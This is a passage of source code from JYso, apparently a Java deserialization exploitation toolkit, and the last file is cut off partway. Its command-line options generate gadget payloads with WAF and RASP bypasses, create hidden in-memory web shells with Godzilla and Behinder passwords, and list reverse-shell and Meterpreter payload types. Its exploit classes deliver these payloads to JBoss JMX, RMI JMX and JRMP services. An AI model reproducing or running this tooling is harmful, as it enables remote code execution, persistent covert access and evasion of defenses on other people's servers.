if (cmdLine.hasOption("godzilla-key")) {
|
||||
Config.GODZILLA_KEY = generatePassword(cmdLine.getOptionValue("godzilla-key"));
|
||||
}
|
||||
|
||||
if (cmdLine.hasOption("header-key")) {
|
||||
Config.HEADER_KEY = cmdLine.getOptionValue("header-key");
|
||||
}
|
||||
|
||||
if (cmdLine.hasOption("header-value")) {
|
||||
Config.HEADER_VALUE = cmdLine.getOptionValue("header-value");
|
||||
}
|
||||
|
||||
if (cmdLine.hasOption("no-com-sun")) {
|
||||
Config.FORCE_USING_ORG_APACHE_TEMPLATESIMPL = true;
|
||||
}
|
||||
|
||||
if (cmdLine.hasOption("mozilla-class-loader")) {
|
||||
Config.USING_MOZILLA_DEFININGCLASSLOADER = true;
|
||||
}
|
||||
|
||||
if (cmdLine.hasOption("rhino")) {
|
||||
Config.USING_RHINO = true;
|
||||
}
|
||||
|
||||
if (cmdLine.hasOption("utf8-Overlong-Encoding")) {
|
||||
Config.IS_UTF_Bypass = true;
|
||||
}
|
||||
|
||||
if (cmdLine.hasOption("Hessian1")) {
|
||||
Config.IS_Hessian1 = true;
|
||||
}
|
||||
|
||||
if (cmdLine.hasOption("Hessian2")) {
|
||||
Config.IS_Hessian2 = true;
|
||||
}
|
||||
|
||||
if(cmdLine.hasOption("XStream")){
|
||||
Config.IS_Xstream = true;
|
||||
}
|
||||
|
||||
if(cmdLine.hasOption("Kryo")){
|
||||
Config.IS_Kryo = true;
|
||||
}
|
||||
|
||||
if(cmdLine.hasOption(("JYaml"))){
|
||||
Config.IS_JYAML = true;
|
||||
}
|
||||
if(cmdLine.hasOption("JsonIO")){
|
||||
Config.IS_JsonIO = true;
|
||||
}
|
||||
if(cmdLine.hasOption("YamlBeans")){
|
||||
Config.IS_YamlBeans = true;
|
||||
}
|
||||
if(cmdLine.hasOption("Castor")){
|
||||
Config.IS_Castor = true;
|
||||
}
|
||||
if(cmdLine.hasOption("Jackson")){
|
||||
Config.IS_Jackson = true;
|
||||
}
|
||||
|
||||
if (cmdLine.hasOption("gen-mem-shell")) {
|
||||
Config.GEN_MEM_SHELL = true;
|
||||
|
||||
if (cmdLine.hasOption("gen-mem-shell-name")) {
|
||||
Config.GEN_MEM_SHELL_FILENAME = cmdLine.getOptionValue("gen-mem-shell-name");
|
||||
}
|
||||
}
|
||||
|
||||
if (cmdLine.hasOption("hide-mem-shell")) {
|
||||
Config.HIDE_MEMORY_SHELL = true;
|
||||
|
||||
if (cmdLine.hasOption("hide-type")) {
|
||||
Config.HIDE_MEMORY_SHELL_TYPE = Integer.parseInt(cmdLine.getOptionValue("hide-type"));
|
||||
}
|
||||
}
|
||||
|
||||
final String payloadType = cmdLine.getOptionValue("gadget");
|
||||
final String command = cmdLine.getOptionValue("parameters");
|
||||
//载入gadget
|
||||
final Class<? extends ObjectPayload> payloadClass = ObjectPayload.Utils.getPayloadClass(payloadType);
|
||||
if (payloadClass == null) {
|
||||
System.err.println("Invalid payload type '" + payloadType + "'");
|
||||
printUsage(options);
|
||||
System.exit(1);
|
||||
return;
|
||||
}
|
||||
|
||||
|
||||
try {
|
||||
//载入payload
|
||||
ObjectPayload payload = payloadClass.newInstance();
|
||||
Object object = payload.getObject(command);
|
||||
|
||||
// 是否指定混淆
|
||||
if (cmdLine.hasOption("dirty-type") && cmdLine.hasOption("dirty-length")) {
|
||||
int type = Integer.parseInt(cmdLine.getOptionValue("dirty-type"));
|
||||
int length = Integer.parseInt(cmdLine.getOptionValue("dirty-length"));
|
||||
object = new DirtyDataWrapper(object, type, length).doWrap();
|
||||
}
|
||||
|
||||
// 储存生成的 payload
|
||||
PAYLOAD = object;
|
||||
if (isFromExploit()) {
|
||||
return;
|
||||
}
|
||||
|
||||
OutputStream out;
|
||||
|
||||
if (Config.WRITE_FILE) {
|
||||
out = new FileOutputStream(Config.FILE);
|
||||
} else {
|
||||
out = System.out;
|
||||
}
|
||||
Serializer.qiserialize(object, out,payloadType,command);
|
||||
ObjectPayload.Utils.releasePayload(payload, object);
|
||||
out.flush();
|
||||
out.close();
|
||||
} catch (Throwable e) {
|
||||
System.err.println("Error while generating or serializing payload");
|
||||
e.printStackTrace();
|
||||
System.exit(1);
|
||||
}
|
||||
System.exit(0);
|
||||
}
|
||||
private static Options getOptions() {
|
||||
Options options = new Options();
|
||||
options.addOption("y", "ysoserial", false, "Java deserialization");
|
||||
options.addOption("g", "gadget", true, "Java deserialization gadget");
|
||||
options.addOption("p", "parameters", true, "Gadget parameters");
|
||||
options.addOption("dt", "dirty-type", true, "Using dirty data to bypass WAF,type: 1:Random Hashable Collections/2:LinkedList Nesting/3:TC_RESET in Serialized Data");
|
||||
options.addOption("dl", "dirty-length", true, "Length of dirty data when using type 1 or 3/Counts of Nesting loops when using type 2");
|
||||
options.addOption("f", "file", true, "Write Output into FileOutputStream (Specified FileName)");
|
||||
options.addOption("o", "obscure", false, "Using reflection to bypass RASP");
|
||||
options.addOption("i", "inherit", false, "Make payload inherit AbstractTranslet or not (Lower JDK like 1.6 should inherit)");
|
||||
options.addOption("u", "url", true, "MemoryShell binding url pattern,default [/version.txt]");
|
||||
options.addOption("pw", "password", true, "Behinder or Godzilla password,default [p@ssw0rd]");
|
||||
options.addOption("gzk", "godzilla-key", true, "Godzilla key,default [key]");
|
||||
options.addOption("hk", "header-key", true, "MemoryShell Header Check,Request Header Key,default [Referer]");
|
||||
options.addOption("hv", "header-value", true, "MemoryShell Header Check,Request Header Value,default [https://QI4L.cn/]");
|
||||
options.addOption("ch", "cmd-header", true, "Request Header which pass the command to Execute,default [X-Token-Data]");
|
||||
options.addOption("gen", "gen-mem-shell", false, "Write Memory Shell Class to File");
|
||||
options.addOption("n", "gen-mem-shell-name", true, "Memory Shell Class File Name");
|
||||
options.addOption("h", "hide-mem-shell", false, "Hide memory shell from detection tools (type 2 only support SpringControllerMS)");
|
||||
options.addOption("ht", "hide-type", true, "Hide memory shell,type 1:write /jre/lib/charsets.jar 2:write /jre/classes/");
|
||||
options.addOption("rh", "rhino", false, "ScriptEngineManager Using Rhino Engine to eval JS");
|
||||
options.addOption("ncs", "no-com-sun", false, "Force Using org.apache.XXX.TemplatesImpl instead of com.sun.org.apache.XXX.TemplatesImpl");
|
||||
options.addOption("mcl", "mozilla-class-loader", false, "Using org.mozilla.javascript.DefiningClassLoader in TransformerUtil");
|
||||
options.addOption("dcfp", "define-class-from-parameter", true, "Customize parameter name when using DefineClassFromParameter");
|
||||
options.addOption("utf", "utf8-Overlong-Encoding", false, "UTF-8 Overlong Encoding Bypass waf");
|
||||
options.addOption("he1", "Hessian1", false, "Hessian1 Output");
|
||||
options.addOption("he2", "Hessian2", false, "Hessian2 Output");
|
||||
options.addOption("b64", "base64", false, "base64 encoding");
|
||||
options.addOption("xs", "XStream", false, "Xstream Output");
|
||||
options.addOption("kryo", "Kryo", false, "Kryo Output");
|
||||
options.addOption("jy", "JYaml", false, "JYaml Output");
|
||||
options.addOption("js","JsonIO", false, "JsonIO Output");
|
||||
options.addOption("yb","YamlBeans", false, "YamlBeans Output");
|
||||
options.addOption("ca", "Castor", false, "Castor Output");
|
||||
options.addOption("jk", "Jackson", false, "Jackson Output");
|
||||
return options;
|
||||
}
|
||||
|
||||
private static void printUsage(Options options) {
|
||||
|
||||
System.err.println("[root]#~ Usage: java -jar JYso-[version].jar -y -g [payload] -p [command] [options]");
|
||||
System.err.println("[root]#~ Available payload types:");
|
||||
|
||||
final List<Class<? extends ObjectPayload>> payloadClasses =
|
||||
new ArrayList<Class<? extends ObjectPayload>>(ObjectPayload.Utils.getPayloadClasses());
|
||||
Collections.sort(payloadClasses, new StringUtil.ToStringComparator()); // alphabetize
|
||||
|
||||
final List<String[]> rows = new LinkedList<String[]>();
|
||||
rows.add(new String[]{"Payload", "Authors", "Dependencies"});
|
||||
rows.add(new String[]{"-------", "-------", "------------"});
|
||||
for (Class<? extends ObjectPayload> payloadClass : payloadClasses) {
|
||||
rows.add(new String[]{
|
||||
payloadClass.getSimpleName(),
|
||||
StringUtil.join(Arrays.asList(Authors.Utils.getAuthors(payloadClass)), ", ", "@", ""),
|
||||
StringUtil.join(Arrays.asList(Dependencies.Utils.getDependenciesSimple(payloadClass)), ", ", "", "")
|
||||
});
|
||||
}
|
||||
|
||||
final List<String> lines = StringUtil.formatTable(rows);
|
||||
|
||||
for (String line : lines) {
|
||||
System.err.println(" " + line);
|
||||
}
|
||||
|
||||
System.err.println("\r\n");
|
||||
HelpFormatter helpFormatter = new HelpFormatter();
|
||||
helpFormatter.setWidth(Math.min(200, jline.Terminal.getTerminal().getTerminalWidth()));
|
||||
helpFormatter.printHelp("JYso-[version].jar", options, true);
|
||||
|
||||
System.err.println("\r\n");
|
||||
System.err.println("Recommended Usage: -y -g [payload] -p '[command]' -dt 1 -dl 50000 -o -i -f evil.ser");
|
||||
System.err.println("If you want your payload being extremely short,you could just use:");
|
||||
System.err.println("java -jar JYso-[version].jar -y -g [payload] -p '[command]' -i -f evil.ser");
|
||||
System.exit(0);
|
||||
}
|
||||
|
||||
}
|
||||
@@ -0,0 +1,8 @@
|
||||
package com.qi4l.JYso.enumtypes;
|
||||
|
||||
public enum GadgetType {
|
||||
base64Two,
|
||||
msf,
|
||||
base64,
|
||||
shell,
|
||||
}
|
||||
@@ -0,0 +1,47 @@
|
||||
package com.qi4l.JYso.enumtypes;
|
||||
|
||||
public enum PayloadType {
|
||||
sethttp,
|
||||
dnslog,
|
||||
tomcatupgrade,
|
||||
command,
|
||||
reverseshell,
|
||||
tomcatecho,
|
||||
springecho,
|
||||
weblogicecho,
|
||||
windowsecho,
|
||||
linuxecho2,
|
||||
linuxecho1,
|
||||
allecho,
|
||||
websphereecho,
|
||||
resinecho,
|
||||
tomcatfilterjmx,
|
||||
tomcatfilterth,
|
||||
tomcatlistenerjmx,
|
||||
tomcatlistenerth,
|
||||
tomcatservletjmx,
|
||||
tomcatservletth,
|
||||
jbossfilter,
|
||||
jbossservlet,
|
||||
webspherememshell,
|
||||
springinterceptor,
|
||||
springcontroller,
|
||||
issuccess,
|
||||
jettyfilter,
|
||||
jettyservlet,
|
||||
struts2actionms,
|
||||
wsfilter,
|
||||
tomcatexecutor,
|
||||
meterpreter,
|
||||
resinfilterth,
|
||||
resinservletth,
|
||||
jbossecho,
|
||||
jettyecho,
|
||||
cmsmsbync,
|
||||
proxymsbync,
|
||||
wsresin,
|
||||
mstsjproxy,
|
||||
mstsjser,
|
||||
wsweblogic,
|
||||
wswebsphereproxy,
|
||||
}
|
||||
@@ -0,0 +1,7 @@
|
||||
package com.qi4l.JYso.enumtypes;
|
||||
|
||||
public enum WebsphereActionType {
|
||||
list,
|
||||
upload,
|
||||
rce;
|
||||
}
|
||||
@@ -0,0 +1,11 @@
|
||||
package com.qi4l.JYso.exceptions;
|
||||
|
||||
public class IncorrectParamsException extends RuntimeException {
|
||||
public IncorrectParamsException() {
|
||||
super();
|
||||
}
|
||||
|
||||
public IncorrectParamsException(String message) {
|
||||
super(message);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,11 @@
|
||||
package com.qi4l.JYso.exceptions;
|
||||
|
||||
public class UnSupportedActionTypeException extends RuntimeException {
|
||||
public UnSupportedActionTypeException() {
|
||||
super();
|
||||
}
|
||||
|
||||
public UnSupportedActionTypeException(String message) {
|
||||
super(message);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,11 @@
|
||||
package com.qi4l.JYso.exceptions;
|
||||
|
||||
public class UnSupportedGadgetTypeException extends RuntimeException {
|
||||
public UnSupportedGadgetTypeException() {
|
||||
super();
|
||||
}
|
||||
|
||||
public UnSupportedGadgetTypeException(String message) {
|
||||
super(message);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,11 @@
|
||||
package com.qi4l.JYso.exceptions;
|
||||
|
||||
public class UnSupportedPayloadTypeException extends RuntimeException {
|
||||
public UnSupportedPayloadTypeException() {
|
||||
super();
|
||||
}
|
||||
|
||||
public UnSupportedPayloadTypeException(String message) {
|
||||
super(message);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,385 @@
|
||||
package com.qi4l.JYso.exploit;
|
||||
|
||||
import static com.qi4l.JYso.controllers.ysoserial.ysoserial;
|
||||
import com.qi4l.JYso.controllers.ysoserial;
|
||||
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||
import org.jboss.remoting3.Connection;
|
||||
import org.jboss.remoting3.*;
|
||||
import org.jboss.remoting3.remote.HttpUpgradeConnectionProviderFactory;
|
||||
import org.jboss.remoting3.spi.*;
|
||||
import org.jboss.remotingjmx.VersionedConnection;
|
||||
import org.xnio.*;
|
||||
import org.xnio.IoFuture.Status;
|
||||
import org.xnio.ssl.JsseXnioSsl;
|
||||
import org.xnio.ssl.XnioSsl;
|
||||
|
||||
import javax.management.*;
|
||||
import javax.management.remote.JMXServiceURL;
|
||||
import javax.security.auth.callback.*;
|
||||
import javax.security.sasl.RealmCallback;
|
||||
import java.io.IOException;
|
||||
import java.lang.reflect.InvocationTargetException;
|
||||
import java.lang.reflect.Method;
|
||||
import java.net.InetSocketAddress;
|
||||
import java.net.MalformedURLException;
|
||||
import java.net.SocketAddress;
|
||||
import java.net.URI;
|
||||
import java.security.KeyManagementException;
|
||||
import java.security.NoSuchAlgorithmException;
|
||||
import java.security.NoSuchProviderException;
|
||||
import java.util.HashMap;
|
||||
import java.util.Map;
|
||||
import java.util.Set;
|
||||
import java.util.concurrent.*;
|
||||
import java.util.logging.*;
|
||||
|
||||
|
||||
/**
|
||||
* An exploitation client for JBoss AS/Wildfly JMX
|
||||
* <p>
|
||||
* JBoss is using a custom tunneled protocol for JMX, this is a client for this protocol.
|
||||
* <p>
|
||||
* This is not as readily exploitable as in other pieces of software:
|
||||
* 1. they only allow authenticated access by default
|
||||
* 2. they have a very strict module architecture:
|
||||
* - all MBeans exported by default use classloaders that expose almost nothing useful
|
||||
* - the module classloaders do not even expose the full boot classpath, so we cannot readily use stuff like
|
||||
* com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
|
||||
* <p>
|
||||
* This client enumerates all application exported MBean method which are then called
|
||||
* delivering the specified payload.
|
||||
* <p>
|
||||
* I.e. you can succesfully exploit that
|
||||
* - you have access to the interface
|
||||
* (username/password can be specified via URL, note: despite not noticeable,
|
||||
* local connections implicitely use authentication)
|
||||
* - there is an application exported MBean
|
||||
* - that application imports the classes required for the gadget chain
|
||||
*
|
||||
* @author mbechler
|
||||
*/
|
||||
@SuppressWarnings({
|
||||
"rawtypes"
|
||||
})
|
||||
public class JBoss {
|
||||
|
||||
public static void main(String[] args) throws Exception {
|
||||
|
||||
if (args.length < 5) {
|
||||
System.err.println("Usage " + JBoss.class.getName() + " <uri> <args...> ");
|
||||
System.exit(-1);
|
||||
}
|
||||
|
||||
URI u = URI.create(args[0]);
|
||||
|
||||
// 去除前一个参数
|
||||
String[] newArray = new String[args.length - 1];
|
||||
System.arraycopy(args, 1, newArray, 0, newArray.length);
|
||||
|
||||
ysoserial(newArray);
|
||||
Object payloadObject = ysoserial.PAYLOAD;
|
||||
|
||||
String username = null;
|
||||
String password = null;
|
||||
if (u.getUserInfo() != null) {
|
||||
int sep = u.getUserInfo().indexOf(':');
|
||||
if (sep >= 0) {
|
||||
username = u.getUserInfo().substring(0, sep);
|
||||
password = u.getUserInfo().substring(sep + 1);
|
||||
} else {
|
||||
System.err.println("Need <user>:<password>@");
|
||||
System.exit(-1);
|
||||
}
|
||||
}
|
||||
|
||||
doRun(u, payloadObject, username, password);
|
||||
}
|
||||
|
||||
|
||||
private static void doRun(URI u, final Object payloadObject, String username, String password) {
|
||||
ConnectionProvider instance = null;
|
||||
ConnectionProviderContextImpl context = null;
|
||||
ConnectionHandler ch = null;
|
||||
Channel c = null;
|
||||
VersionedConnection vc = null;
|
||||
try {
|
||||
Logger logger = LogManager.getLogManager().getLogger("");
|
||||
logger.addHandler(new ConsoleLogHandler());
|
||||
logger.setLevel(Level.INFO);
|
||||
OptionMap options = OptionMap.builder().set(Options.SSL_ENABLED, u.getScheme().equals("https")).getMap();
|
||||
context = new ConnectionProviderContextImpl(options, "endpoint");
|
||||
instance = new HttpUpgradeConnectionProviderFactory().createInstance(context, options);
|
||||
String host = u.getHost();
|
||||
int port = u.getPort() > 0 ? u.getPort() : 9990;
|
||||
SocketAddress destination = new InetSocketAddress(host, port);
|
||||
ConnectionHandlerFactory chf = getConnection(destination, username, password, context, instance, options);
|
||||
ch = chf.createInstance(new ConnectionHandlerContextImpl(context));
|
||||
c = getChannel(context, ch, options);
|
||||
System.err.println("Connected");
|
||||
vc = makeVersionedConnection(c);
|
||||
MBeanServerConnection mbc = vc.getMBeanServerConnection(null);
|
||||
doExploit(payloadObject, mbc);
|
||||
System.err.println("DONE");
|
||||
} catch (Throwable e) {
|
||||
e.printStackTrace(System.err);
|
||||
} finally {
|
||||
cleanup(instance, context, ch, c, vc);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
private static void cleanup(ConnectionProvider instance, ConnectionProviderContextImpl context, ConnectionHandler ch, Channel c,
|
||||
VersionedConnection vc) {
|
||||
if (vc != null) {
|
||||
vc.close();
|
||||
}
|
||||
|
||||
if (c != null) {
|
||||
try {
|
||||
c.close();
|
||||
} catch (IOException e) {
|
||||
e.printStackTrace(System.err);
|
||||
}
|
||||
}
|
||||
|
||||
if (ch != null) {
|
||||
try {
|
||||
ch.close();
|
||||
} catch (IOException e) {
|
||||
e.printStackTrace(System.err);
|
||||
}
|
||||
}
|
||||
if (instance != null) {
|
||||
try {
|
||||
instance.close();
|
||||
} catch (IOException e) {
|
||||
e.printStackTrace(System.err);
|
||||
}
|
||||
}
|
||||
|
||||
if (context != null) {
|
||||
context.getXnioWorker().shutdown();
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
private static ConnectionHandlerFactory getConnection(SocketAddress destination, final String username, final String password,
|
||||
ConnectionProviderContextImpl context, ConnectionProvider instance, OptionMap options)
|
||||
throws IOException, InterruptedException, KeyManagementException, NoSuchProviderException, NoSuchAlgorithmException {
|
||||
XnioSsl xnioSsl = new JsseXnioSsl(context.getXnio(), options);
|
||||
FutureResult<ConnectionHandlerFactory> result = new FutureResult<ConnectionHandlerFactory>();
|
||||
instance.connect(null, destination, options, result, new CallbackHandler() {
|
||||
|
||||
public void handle(Callback[] callbacks) throws IOException, UnsupportedCallbackException {
|
||||
|
||||
for (Callback cb : callbacks) {
|
||||
|
||||
if (cb instanceof NameCallback) {
|
||||
((NameCallback) cb).setName(username);
|
||||
} else if (cb instanceof PasswordCallback) {
|
||||
((PasswordCallback) cb).setPassword(password != null ? password.toCharArray() : new char[0]);
|
||||
} else if (!(cb instanceof RealmCallback)) {
|
||||
System.err.println(cb);
|
||||
throw new UnsupportedCallbackException(cb);
|
||||
}
|
||||
}
|
||||
}
|
||||
}, xnioSsl);
|
||||
|
||||
System.err.println("waiting for connection");
|
||||
IoFuture<ConnectionHandlerFactory> ioFuture = result.getIoFuture();
|
||||
Status s = ioFuture.await(5, TimeUnit.SECONDS);
|
||||
if (s == Status.FAILED) {
|
||||
System.err.println("Cannot connect");
|
||||
if (ioFuture.getException() != null) {
|
||||
ioFuture.getException().printStackTrace(System.err);
|
||||
}
|
||||
} else if (s != Status.DONE) {
|
||||
ioFuture.cancel();
|
||||
System.err.println("Connect timeout");
|
||||
System.exit(-1);
|
||||
}
|
||||
|
||||
ConnectionHandlerFactory chf = ioFuture.getInterruptibly();
|
||||
return chf;
|
||||
}
|
||||
|
||||
private static Channel getChannel(ConnectionProviderContextImpl context, ConnectionHandler ch, OptionMap options) throws IOException {
|
||||
Channel c;
|
||||
FutureResult<Channel> chResult = new FutureResult<Channel>(context.getExecutor());
|
||||
ch.open("jmx", chResult, options);
|
||||
|
||||
IoFuture<Channel> cFuture = chResult.getIoFuture();
|
||||
Status s2 = cFuture.await();
|
||||
if (s2 == Status.FAILED) {
|
||||
System.err.println("Cannot connect");
|
||||
if (cFuture.getException() != null) {
|
||||
throw new IOException("Connect failed", cFuture.getException());
|
||||
}
|
||||
} else if (s2 != Status.DONE) {
|
||||
cFuture.cancel();
|
||||
throw new IOException("Connect timeout");
|
||||
}
|
||||
|
||||
c = cFuture.get();
|
||||
return c;
|
||||
}
|
||||
|
||||
|
||||
private static VersionedConnection makeVersionedConnection(Channel c)
|
||||
throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, MalformedURLException {
|
||||
VersionedConnection vc;
|
||||
Class<?> vcf = Class.forName("org.jboss.remotingjmx.VersionedConectionFactory");
|
||||
Method vcCreate = vcf.getDeclaredMethod("createVersionedConnection", Channel.class, Map.class, JMXServiceURL.class);
|
||||
Reflections.setAccessible(vcCreate);
|
||||
vc = (VersionedConnection) vcCreate.invoke(null, c, new HashMap(), new JMXServiceURL("service:jmx:remoting-jmx://"));
|
||||
return vc;
|
||||
}
|
||||
|
||||
|
||||
private static void doExploit(final Object payloadObject, MBeanServerConnection mbc)
|
||||
throws IOException, InstanceNotFoundException, IntrospectionException, ReflectionException {
|
||||
Object[] params = new Object[1];
|
||||
params[0] = payloadObject;
|
||||
System.err.println("Querying MBeans");
|
||||
Set<ObjectInstance> testMBeans = mbc.queryMBeans(null, null);
|
||||
System.err.println("Found " + testMBeans.size() + " MBeans");
|
||||
for (ObjectInstance oi : testMBeans) {
|
||||
MBeanInfo mBeanInfo = mbc.getMBeanInfo(oi.getObjectName());
|
||||
for (MBeanOperationInfo opInfo : mBeanInfo.getOperations()) {
|
||||
try {
|
||||
mbc.invoke(oi.getObjectName(), opInfo.getName(), params, new String[]{});
|
||||
System.err.println(oi.getObjectName() + ":" + opInfo.getName() + " -> SUCCESS");
|
||||
return;
|
||||
} catch (Throwable e) {
|
||||
String msg = e.getMessage();
|
||||
if (msg.startsWith("java.lang.ClassNotFoundException:")) {
|
||||
int start = msg.indexOf('"');
|
||||
int stop = msg.indexOf('"', start + 1);
|
||||
String module = (start >= 0 && stop > 0) ? msg.substring(start + 1, stop) : "<unknown>";
|
||||
if (!"<unknown>".equals(module) && !"org.jboss.as.jmx:main".equals(module)) {
|
||||
int cstart = msg.indexOf(':');
|
||||
int cend = msg.indexOf(' ', cstart + 2);
|
||||
String cls = msg.substring(cstart + 2, cend);
|
||||
System.err.println(oi.getObjectName() + ":" + opInfo.getName() + " -> FAIL CNFE " + cls + " (" + module + ")");
|
||||
}
|
||||
} else {
|
||||
System.err.println(oi.getObjectName() + ":" + opInfo.getName() + " -> SUCCESS|ERROR " + msg);
|
||||
return;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
private static final class ConsoleLogHandler extends Handler {
|
||||
|
||||
|
||||
@Override
|
||||
public void publish(LogRecord record) {
|
||||
System.err.println(record.getMessage());
|
||||
}
|
||||
|
||||
|
||||
@Override
|
||||
public void flush() {
|
||||
|
||||
}
|
||||
|
||||
|
||||
@Override
|
||||
public void close() throws SecurityException {
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings({"deprecation"})
|
||||
private static final class ConnectionHandlerContextImpl implements ConnectionHandlerContext {
|
||||
|
||||
private ConnectionProviderContextImpl context;
|
||||
|
||||
|
||||
public ConnectionHandlerContextImpl(ConnectionProviderContextImpl context) {
|
||||
this.context = context;
|
||||
}
|
||||
|
||||
|
||||
public void remoteClosed() {
|
||||
}
|
||||
|
||||
|
||||
public OpenListener getServiceOpenListener(String serviceType) {
|
||||
return null;
|
||||
}
|
||||
|
||||
|
||||
public RegisteredService getRegisteredService(String serviceType) {
|
||||
return null;
|
||||
}
|
||||
|
||||
|
||||
public ConnectionProviderContext getConnectionProviderContext() {
|
||||
return this.context;
|
||||
}
|
||||
|
||||
|
||||
public Connection getConnection() {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
private static final class ConnectionProviderContextImpl implements ConnectionProviderContext {
|
||||
|
||||
private XnioWorker worker;
|
||||
|
||||
private ExecutorService executor;
|
||||
|
||||
private Xnio instance;
|
||||
|
||||
private Endpoint endpoint;
|
||||
|
||||
|
||||
public ConnectionProviderContextImpl(OptionMap opts, String endpointName) throws IllegalArgumentException, IOException {
|
||||
this.instance = Xnio.getInstance();
|
||||
|
||||
this.worker = this.instance.createWorker(opts);
|
||||
this.endpoint = Remoting.createEndpoint(endpointName, this.worker, opts);
|
||||
this.executor = Executors.newCachedThreadPool(new ThreadFactory() {
|
||||
|
||||
public Thread newThread(Runnable r) {
|
||||
Thread t = new Thread(r, "Worker");
|
||||
t.setDaemon(true);
|
||||
return t;
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
|
||||
public XnioWorker getXnioWorker() {
|
||||
return this.worker;
|
||||
}
|
||||
|
||||
|
||||
public Xnio getXnio() {
|
||||
return this.instance;
|
||||
}
|
||||
|
||||
|
||||
public Executor getExecutor() {
|
||||
return this.executor;
|
||||
}
|
||||
|
||||
|
||||
public Endpoint getEndpoint() {
|
||||
return this.endpoint;
|
||||
}
|
||||
|
||||
|
||||
public void accept(ConnectionHandlerFactory connectionHandlerFactory) {
|
||||
System.err.println("accept");
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
@@ -0,0 +1,45 @@
|
||||
package com.qi4l.JYso.exploit;
|
||||
|
||||
import static com.qi4l.JYso.controllers.ysoserial.ysoserial;
|
||||
import com.qi4l.JYso.controllers.ysoserial;
|
||||
|
||||
import javax.management.MBeanServerConnection;
|
||||
import javax.management.ObjectName;
|
||||
import javax.management.remote.JMXConnector;
|
||||
import javax.management.remote.JMXConnectorFactory;
|
||||
import javax.management.remote.JMXServiceURL;
|
||||
|
||||
/*
|
||||
* Utility program for exploiting RMI based JMX services running with required gadgets available in their ClassLoader.
|
||||
* Attempts to exploit the service by invoking a method on a exposed MBean, passing the payload as argument.
|
||||
*
|
||||
*/
|
||||
public class JMXInvokeMBean {
|
||||
|
||||
public static void main(String[] args) throws Exception {
|
||||
|
||||
if (args.length < 6) {
|
||||
System.err.println(JMXInvokeMBean.class.getName() + " <host> <port> <arg...>");
|
||||
System.exit(-1);
|
||||
}
|
||||
|
||||
JMXServiceURL url = new JMXServiceURL("service:jmx:rmi:///jndi/rmi://" + args[0] + ":" + args[1] + "/jmxrmi");
|
||||
|
||||
JMXConnector jmxConnector = JMXConnectorFactory.connect(url);
|
||||
MBeanServerConnection mbeanServerConnection = jmxConnector.getMBeanServerConnection();
|
||||
|
||||
// 去除前两个参数
|
||||
String[] newArray = new String[args.length - 2];
|
||||
System.arraycopy(args, 2, newArray, 0, newArray.length);
|
||||
|
||||
ysoserial(newArray);
|
||||
Object payloadObject = ysoserial.PAYLOAD;
|
||||
|
||||
ObjectName mbeanName = new ObjectName("java.util.logging:type=Logging");
|
||||
|
||||
mbeanServerConnection.invoke(mbeanName, "getLoggerLevel", new Object[]{payloadObject}, new String[]{String.class.getCanonicalName()});
|
||||
|
||||
//close the connection
|
||||
jmxConnector.close();
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,48 @@
|
||||
package com.qi4l.JYso.exploit;
|
||||
|
||||
import com.qi4l.JYso.gadgets.JRMPClient;
|
||||
|
||||
import java.net.URL;
|
||||
|
||||
|
||||
/**
|
||||
* JRMP listener triggering RMI remote classloading
|
||||
* <p>
|
||||
* Opens up an JRMP listener that will deliver a remote classpath class to the calling client.
|
||||
* <p>
|
||||
* Mostly CVE-2013-1537 (presumably, does not state details) with the difference that you don't need
|
||||
* access to an RMI socket when you can deliver {@link JRMPClient}.
|
||||
* <p>
|
||||
* This only works if
|
||||
* - the remote end is running with a security manager
|
||||
* - java.rmi.server.useCodebaseOnly=false (default until 7u21)
|
||||
* - the remote has the proper permissions to remotely load the class (mostly URLPermission)
|
||||
* <p>
|
||||
* and, of course, the payload class is then run under the security manager with a remote codebase
|
||||
* so either the policy needs to allow whatever you want to do in the payload or you need to combine
|
||||
* with a security manager bypass exploit (wouldn't be the first time).
|
||||
*
|
||||
* @author mbechler
|
||||
*/
|
||||
public class JRMPClassLoadingListener {
|
||||
|
||||
public static final void main(final String[] args) {
|
||||
|
||||
if (args.length < 3) {
|
||||
System.err.println(JRMPClassLoadingListener.class.getName() + " <port> <url> <className>");
|
||||
System.exit(-1);
|
||||
return;
|
||||
}
|
||||
|
||||
try {
|
||||
int port = Integer.parseInt(args[0]);
|
||||
System.err.println("* Opening JRMP listener on " + port);
|
||||
JRMPListener c = new JRMPListener(port, args[2], new URL(args[1]));
|
||||
c.run();
|
||||
} catch (Exception e) {
|
||||
System.err.println("Listener error");
|
||||
e.printStackTrace(System.err);
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
@@ -0,0 +1,134 @@
|
||||
package com.qi4l.JYso.exploit;
|
||||
|
||||
import static com.qi4l.JYso.controllers.ysoserial.ysoserial;
|
||||
import com.qi4l.JYso.controllers.ysoserial;
|
||||
import sun.rmi.transport.TransportConstants;
|
||||
|
||||
import javax.net.SocketFactory;
|
||||
import java.io.DataOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.io.ObjectOutputStream;
|
||||
import java.io.OutputStream;
|
||||
import java.net.*;
|
||||
|
||||
/**
|
||||
* Generic JRMP client
|
||||
* <p>
|
||||
* Pretty much the same thing as {@link RMIBindExploit} but
|
||||
* - targeting the remote DGC (Distributed Garbage Collection, always there if there is a listener)
|
||||
* - not deserializing anything (so you don't get yourself exploited ;))
|
||||
*
|
||||
* @author mbechler
|
||||
*/
|
||||
@SuppressWarnings({
|
||||
"restriction"
|
||||
})
|
||||
public class JRMPClient {
|
||||
|
||||
public static final void main(final String[] args) throws Exception {
|
||||
if (args.length < 5) {
|
||||
System.err.println(JRMPClient.class.getName() + " <host> <port> <args...>");
|
||||
System.exit(-1);
|
||||
}
|
||||
|
